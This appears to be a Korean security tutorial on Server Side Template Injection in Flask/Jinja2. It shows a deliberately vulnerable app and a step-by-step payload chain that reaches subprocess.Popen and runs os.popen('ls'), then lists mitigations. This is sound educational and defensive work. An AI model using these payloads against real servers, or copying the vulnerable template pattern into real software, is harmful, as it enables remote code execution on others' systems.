SSTI(Server Side Template Injection) 취약점은 웹 어플리케이션에 적용되어 있는 웹 템플릿 엔진(Web Template Engine)에 악의적인 사용자의 입력을 통해 임의의 템플릿 기능을 실행하는 공격이다. 템플릿 기능을 악용하여 서버 내부의 파일 노출이나 RCE(Remote Code Execution) 취약점까지 연결될 수 있다.
Flask의 경우 jinja2를 기본 템플릿으로 사용한다. 따라서 이를 이용해 SSTI 실습을 진행해보겠다.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
title="SSTI Test Page"
ssti = request.args.get('ssti')
template='''
<!DOCTYPE html>
<html>
<h1>{{title}}</h1>
<h2>%s</h2>
</html>
'''%ssti
return render_template_string(template,title=title)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
코드 설명 : GET 메소드로 ssti 파라미터에 값을 전달 받으면 그 값을 ssti에 저장한 후 render_template_string 함수를 사용해 템플릿 구문을 해석한다.
아래와 같이 {{7*7}}이라는 데이터를 전송하면 7*7이 계산되어 49라는 응답값을 확인할 수 있다.
Step 1. 빈 문자열인 “”에 __class__를 사용하여 문자열의 클래스에 접근한다.
{{"".__class__}}
Step 2. __base__는 클래스 개체의 기본 클래스로 object 클래스에 접근한다.
{{"".__class__.__base__}}
Step 3. __subclasses__를 사용하여 object 클래스의 서브 클래스 목록을 dict 형태로 가져온다. 응답값중에 subprocess.Popen class는 쉘 명령어 결과를 출력할 수 있다.
{{"".__class__.__base__.__subclasses__()}}
Step 4. __subclasses__()의 424번째 인덱스에 접근하면 subprocess.Popen class에 접근할 수 있다.
{{"".__class__.__base__.__subclasses__()[424]}}
Step 5. subprocess_Popen 클래스를 이용해 ls 명령어를 실행한다.
{{"".__class__.__base__.__subclasses__()[424].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}
(1) Sanitization
사용자 입력으로부터 Template를 생성하지 않도록 처리해야한다. 사용자의 입력이 필요한 경우 Template 자체에서 제공하는 Parameter를 통해 받아 처리하도록 구성해 Template 자체에 영향을 줄 수 없도록 제한한다.
(2) Input Validation
사용자의 입력 값 유효성 검증을 통해 사용자가 입력한 특수문자 구문들을 Escape 처리한다.
{ }
[ ]
< >
$
*
@
참고자료)
Server-Side Template Injection(SSTI)
SSTI(Server Side Template Injection) 취약점이란?
Built-in Types - Python 3.10.7 documentation
SSTI (Server Side Template Injection)
Server-Side Template Injection (SSTI)
웹 템플릿 엔진 기반의 SSTI 취약점 분석